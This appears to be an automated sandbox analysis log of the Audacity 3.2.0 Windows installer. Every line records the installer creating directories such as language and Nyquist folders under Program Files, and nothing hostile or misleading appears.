Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-LAIB1.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-K3IU2.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-32N1E.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-0KP7K.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-8SGGQ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-IOAI2.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-K8GOH.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-KRBQ3.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-6C785.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-5BTDL.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-5AL5G.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\is-7A0A0.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\af	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\af\is-HO62N.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ar	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ar\is-T0H9J.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\be	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\be\is-M4P44.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\bg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\bg\is-3UN24.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\bn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\bn\is-TP6MB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\bs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\bs\is-2VUIJ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ca	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ca\is-6CEK5.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ca_ES@valencia	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ca_ES@valencia\is-MT216.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\co	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\co\is-3NQSM.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\cs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\cs\is-T6M9E.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\cy	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\cy\is-H92PA.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\da	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\da\is-L5QPV.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\de	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\de\is-52QJJ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\el	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\el\is-4K82R.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\es	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\es\is-44RRB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\eu	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\eu\is-BBOJ7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\eu_ES	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\eu_ES\is-AMHSN.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\fa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\fa\is-FG87I.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\fi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\fi\is-N6N61.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\fr	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\fr\is-NL67K.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ga	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ga\is-T5ETS.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\gl	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\gl\is-OKLKC.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\he	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\he\is-O5794.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hi\is-SQO61.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hr	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hr\is-PHG0Q.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hu	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hu\is-LCVQ1.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hy	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\hy\is-U2HOB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\id	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\id\is-3J2H4.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\it	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\it\is-E6HJ8.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ja	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ja\is-JQCT8.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ka	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ka\is-61DBE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\km	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\km\is-7REVL.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ko	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ko\is-J5S6V.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\lt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\lt\is-2CVMQ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\mk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\mk\is-02VU6.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\mr	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\mr\is-NDISD.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\my	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\my\is-PIIHM.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\nb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\nb\is-B1TJE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\nl	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\nl\is-RTSGB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\oc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\oc\is-FI563.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\pl	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\pl\is-LEVD6.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\pt_BR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\pt_BR\is-IMKJS.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\pt_PT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\pt_PT\is-CU15K.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ro	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ro\is-F0KFG.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ru	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ru\is-DR3N6.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sk\is-N11CT.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sl	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sl\is-4TL5P.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sr_RS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sr_RS\is-PRSVB.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sr_RS@latin	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sr_RS@latin\is-644HF.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sv	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\sv\is-BSL79.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ta	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\ta\is-D76SJ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\tg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\tg\is-KRUGD.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\tr	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\tr\is-SKP1O.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\uk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\uk\is-1SRVN.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\vi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\vi\is-DG9PQ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\zh_CN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\zh_CN\is-5KIHE.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\zh_TW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Languages\zh_TW\is-1MOHQ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-7K270.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-NTKH4.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-D9254.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-IL8FC.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-UVR1R.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-PVUQC.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-QSS2A.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-CGAC7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-8A690.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-PPVH8.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-RHAJM.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-HH9U2.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-CFM98.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-EVALG.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-L09O0.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-5GAUM.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-NQM3B.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-ESFAT.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-13T21.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-BQNBQ.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-V3FC0.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-BNLP7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-6R5OG.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-RAD77.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-G5GC0.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-DQTC5.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-MROM6.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-2UCMK.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-NPI02.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\is-MMQJF.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Directory created: C:\Program Files\Audacity\Nyquist\rawwaves	Jump to behavior
